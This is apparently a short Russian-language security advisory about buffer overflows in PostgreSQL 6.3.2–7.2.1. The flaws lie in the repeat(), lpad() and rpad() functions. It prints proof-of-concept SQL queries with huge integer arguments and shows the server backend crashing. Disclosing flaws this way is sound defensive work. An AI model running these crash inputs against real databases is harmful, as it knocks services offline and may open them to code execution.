PostgreSQL - бесплатная реляционная база данных. 

1. Переполнение буфера в функции repeat(). Уязвимость может использоваться для выполнения произвольного кода с привилегиями процесса PostgreSQL. Пример: 

psql> select repeat('xxx',1431655765);
pqReadData() -- backend closed the channel unexpectedly.
This probably means the backend terminated abnormally
before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.

2. Большие целочисленные параметры в
функциях lpad() и rpad() приведут к переполнению буфера. Уязвимость затрагивает только те базы данных, в которых используется 'UNICODE' кодирование.
Пример:

shell> pgsql template1 postgres
template1=# select version();
version
PostgreSQL 7.2 on i686-pc-linux-gnu, compiled by GCC 2.96
(1 row)
template1=# create database my_db with encoding='UNICODE';
CREATE DATABASE
template1# \c my_db
You are now connected to database my_db.
my_db=# select lpad('xxxxx',1431655765,'yyyyyyyyyyyyyyyy');
pqReadData() -- backend closed the channel unexpectedly.
This probably means the backend terminated abnormally
before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.
!#

Уязвимость обнаружена в PostgreSQL 6.3.2- 7.2.1.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии